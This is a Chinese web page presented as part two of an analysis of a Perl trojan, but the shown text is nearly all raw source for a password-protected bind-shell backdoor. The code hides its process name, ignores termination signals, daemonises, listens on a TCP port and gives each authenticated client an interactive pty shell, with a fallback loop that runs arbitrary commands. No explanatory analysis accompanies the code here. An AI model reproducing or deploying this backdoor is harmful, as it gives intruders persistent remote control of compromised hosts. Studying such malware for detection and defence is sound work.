快捷搜索:   nginx

一段对perl木马的分析(2)


$ENV{SHELL} = $SHELL;
$ENV{TERM} = 'xterm';
#####################

$0=$PROC."\0";

use IO::Socket;
use IO::Select;
use POSIX;
use strict;

# i wouldn't change that
# if i were you
###### SIGnals ######
$SIG{HUP} = 'IGNORE';
$SIG{PS} = 'IGNORE';
$SIG{TERM} = 'IGNORE';
$SIG{CHLD} = sub { wait; };
#####################


# ioctl stuff
my %IOCTLDEF;
$IOCTLDEF{TIOCSWINSZ} = 0x5414;
$IOCTLDEF{TIOCNOTTY} = 0x5422;
$IOCTLDEF{TIOCSCTTY} = 0x540E;
safeload('sys/ttycom.ph', 1); # BSD
safeload('sys/ioctl.ph', 1);
safeload('asm/ioctls.ph', 1);

foreach my $IOCTL (keys(%IOCTLDEF)) {
next if (defined(&{$IOCTL}));

if (open(IOD, "< /usr/include/asm/ioctls.h")) { # linux
while() {
if (/^\#define\s+$IOCTL\s+(.*?)\n$/) {
eval "sub $IOCTL () {$1;}";
last;
}
}
close(IOD);
}

# i realy dunno if i can do that.. but.. here it goes
eval "sub $IOCTL () { $IOCTLDEF{$IOCTL};}" unless (defined(&{$IOCTL}));
}


# starting...
$PORT = $ARGV[0] if ($ARGV[0]);
chdir('/');

no strict 'refs';
my $bindfd = *{'bind_sock'};
*{$bindfd}= IO::Socket::INET->new(Listen => 1, LocalPort => $PORT, Proto => "tcp") || die "could not listen on port $PORT: $!";
my $bind = \*{$bindfd};

my $pid = fork();
die "ERROR: I could not fork() the process." unless defined($pid);
exit if $pid;


my %CLIENT;
my $sel_serv = IO::Select->new($bind);
my $sel_shell = IO::Select->new();


# main loop...
while ( 1 ) {
select(undef,undef,undef, 0.3) if (scalar(keys(%CLIENT)) == 0);

read_clients();
read_shells();
}

sub read_clients {
map { read_client($_) } ($sel_serv->can_read(0.01));
}

sub read_client {
my $fh = shift;

if ($fh eq $bind) {
my $newcon = $bind->accept;
$sel_serv->add($newcon);
$CLIENT{$newcon}->{senha} = 0;
$CLIENT{$newcon}->{sock} = $newcon;
$fh->autoflush(1);
do_client($newcon, '3', '5', '1');
sleep(1);
write_client($newcon, $PASS_PROMPT) if ($PASS_PROMPT);
} else {
my $msg;
my $nread = sysread($fh, $msg, 1024);

if ($nread == 0) {
close_client($fh);
} else {
telnet_parse($fh, $msg);
}
}
}

sub read_shells {
map { read_shell($_) } ($sel_shell->can_read(0.01));
}

sub telnet_parse {
my ($cli, $msg) = @_;
my $char = (split('', $msg))[0];

if (ord($char) == 255) {
chr_parse($cli, $msg);
} else {
if ($CLIENT{$cli}->{senha} == 0) {
$CLIENT{$cli}->{buf} .= $msg;

return() unless ($msg =~ /\r|\n/);

my $pass = $CLIENT{$cli}->{buf};
$CLIENT{$cli}->{buf} = '';

$pass =~ s/\n//g;
$pass =~ s/\0//g;
$pass =~ s/\r//g;

if (crypt($pass, $PASS) ne $PASS) {
finish_client($cli, "\r\n\r".$WRONG_PASS."\r\n\r");
} else {
$CLIENT{$cli}->{senha} = 1;
write_client($cli, chr(255).chr(253).chr(31));
write_client($cli, "\r\n\r\r\n\r");
new_shell($cli);
}
return();
}

$msg =~ s/\r\n\0\0//g;
$msg =~ s/\0//g;
$msg =~ s/\r\n/\n/g;
write_shell($cli, $msg);
}
}

sub read_shell {
my $shell = shift;
my $cli;
map { $cli = $CLIENT{$_}->{sock} if ($CLIENT{$_}->{shell} eq $shell) } keys(%CLIENT);

my $msg;
my $nread = sysread($shell, $msg, 1024);

if ($nread == 0) {
finish_client($cli, "Terminal closed.\r\n\r");
} else {
write_client($cli, $msg);
}
}

sub to_chr {
my $chrs = '';
map { $chrs .= chr($_) } (split(/ +/, shift));
return($chrs);
}

sub do_client {
my ($client, @codes) = @_;
map { write_client($client, chr(255).chr(251).chr($_)) } @codes;
}


sub chr_parse {
my ($client, $chrs) = @_;

my $ords = '';
map { $ords .= ord($_).' ' } (split(//, $chrs));
my $msg = '';


if ($ords =~ /255 250 31 (\d+) (\d+) (\d+) (\d+)/) {
my $winsize = pack('C4', $4, $3, $2, $1);
ioctl($CLIENT{$client}->{shell}, &TIOCSWINSZ, $winsize);# || die "erro: $!";
}

foreach my $code (split("255 ", $ords)) {
if ($code =~ /(\d+) (.*)$/) {
my $codes = $2;
if ($1 == 251) {
# do whatever you want dude ehehe
$msg .= chr(255).chr(253);

map { $msg .= chr($_) } (split(/ +/, $codes));
}
}
}

write_client($client, $msg) if ($msg);
return(1);
}

sub new_shell {
my $cli = shift;

POSIX::setpgid(0, 0);

my ($tty, $pty);

unless (($tty, $pty) = open_tty($cli)) {
finish_client($cli, "ERROR: No more pty磗 avaliable\n");
return(undef);
}

my $pid = fork();
if (not defined($pid)) {
finish_client($cli, "ERROR: fork()\n");
return(undef);
}

unless($pid) {
close($pty);

local(*DEVTTY);

if (open (DEVTTY, "/dev/tty")) {
ioctl(DEVTTY, &TIOCNOTTY, 0 );# || die "erro: $!";
close(DEVTTY);
}

POSIX::setsid();
ioctl($tty, &TIOCSCTTY, 0);# || die "erro: $!";

open (STDIN, "<&".fileno($tty)) || die "I could not reopen STDIN: $!";
open (STDOUT, ">&".fileno($tty)) || die "I could not reopen STDOUT: $!";
open (STDERR, ">&".fileno($tty)) || die "I could not reopen STDERR: $!";
close($tty);

sleep(1);

foreach my $stty ("/bin/stty", "/usr/bin/stty") {
next unless (-x $stty);
map { system("$stty", $_) } @STTY;
}

chdir("$HOME");
{ exec("$SHELL") };

syswrite(STDOUT, "\n\nERROR: exec($SHELL)\n\nI could not execute the shell ($SHELL)\nHowever you are lucky :P\nYou can use the \"I'm FUCKED!\" mode and fix up this thing...\nTip: Find some shell and execute it ;)\n\n");
syswrite(STDOUT, "\n\nOK! I'm Fucked mode.\n");
syswrite(STDOUT, "Type ^C to exit\n\nI'm FuCKeD!# ");

while (my $msg = ) {
$msg =~ s/\n$//;
$msg =~ s/\r$//;

if ($msg =~ /^\s*cd\s+(\S+)/) {
my $notf = "directory $1 not found!\n";
chdir($1) || syswrite(STDOUT, $notf, length($notf));
} else {
system("$msg 2>&1");
}
syswrite(STDOUT, "I'm FuCKeD!# ");
}

exit;
}
close($tty);

select($pty); $| = 1;
select(STDOUT);

set_raw($pty);

$CLIENT{$cli}->{shell} = $pty;
$sel_shell->add($pty);

return(1);
}

# Funciton set_raw() stolen from IO::Pty
sub set_raw($) {
my $self = shift;
return 1 if not POSIX::isatty($self);
my $ttyno = fileno($self);
my $termios = new POSIX::Termios;
unless ($termios) {
# warn "set_raw: new POSIX::Termios failed: $!";
return undef;
}
unless ($termios->getattr($ttyno)) {
# warn "set_raw: getattr($ttyno) failed: $!";
return undef;
}
$termios->setiflag(0);
$termios->setoflag(0);
$termios->setlflag(0);
$termios->setcc(&POSIX::VMIN, 1);
$termios->setcc(&POSIX::VTIME, 0);
unless ($termios->setattr($ttyno, &POSIX::TCSANOW)) {
# warn "set_raw: setattr($ttyno) failed: $!";
return undef;
}
return 1;
}

sub open_tty {
no strict;
my $cli = shift;
my ($PTY, $TTY) = (*{"pty.$cli"}, *{"tty.$cli"}); # believe me old versions :/


for (my $i = 0; $i < 256; $i++) {
my $pty = get_tty($i, "/dev/pty");
next unless (open($PTY, "+> $pty"));

my $tty = get_tty($i, "/dev/tty");

unless(open($TTY, "+> $tty")) {
close($PTY);
next;
}

return($TTY, $PTY);

}

return();
}

sub get_tty {
my ($num, $base) = @_;

my @series = ('p' .. 'z', 'a' .. 'e');
my @subs = ('0' .. '9', 'a' .. 'f');

my $buf = $base;
$buf .= @series[($num >> 4) & 0xF];
$buf .= @subs[$num & 0xF];

return($buf);
}

sub safeload {
my ($module, $require, $arg) = @_;
my $file = $module;
$file =~ s/::/\//g;

if ($require) {
# all found gonna be loaded
map { eval ("require \"$_/$file\";") if(-f "$_/$file"); } @INC;
} else {
$file .= ".pm" unless ($file =~ /(\.pm|\.ph)$/);
return(eval("use $module $arg;")) if (grep { -f "$_/$file" } @INC);
}

return();
}

sub write_shell {
my ($cli, $msg) = @_;
my $shell = $CLIENT{$cli}->{shell};

return(undef) unless ($shell);

foreach my $m (split_chars($msg, 20)) {
read_shells();
print $shell $m;
read_shells();
}
return(1);
}

sub split_chars {
my ($msg, $nchars) = @_;

my @splited;
my @chrs = split ('', $msg);
my $done = 0;
while ( 1 ) {
my $splited = join('', @chrs[$done .. ($done+$nchars-1)]);
$done += $nchars;
last if (length($splited) < 1);
push(@splited, $splited);
}
return(@splited);
}

sub finish_client {
my ($cli, $msg) = @_;
write_client($cli, $msg);
close_client($cli);
}

sub close_client {
my $cli = shift;
my $sock = $CLIENT{$cli}->{sock};

$sel_serv->remove($sock);
if ($CLIENT{$cli}->{shell}) {
my $shell = $CLIENT{$cli}->{shell};
$sel_shell->remove($shell);
close($shell);
}
$sock->close() if($sock);
delete($CLIENT{$cli});
}

sub write_client {
my ($cli, $msg) = @_;
my $sock = $CLIENT{$cli}->{sock};
syswrite($sock, $msg, length($msg)) if ($sock);
}

顶(0)
踩(0)

您可能还会对下面的文章感兴趣:

最新评论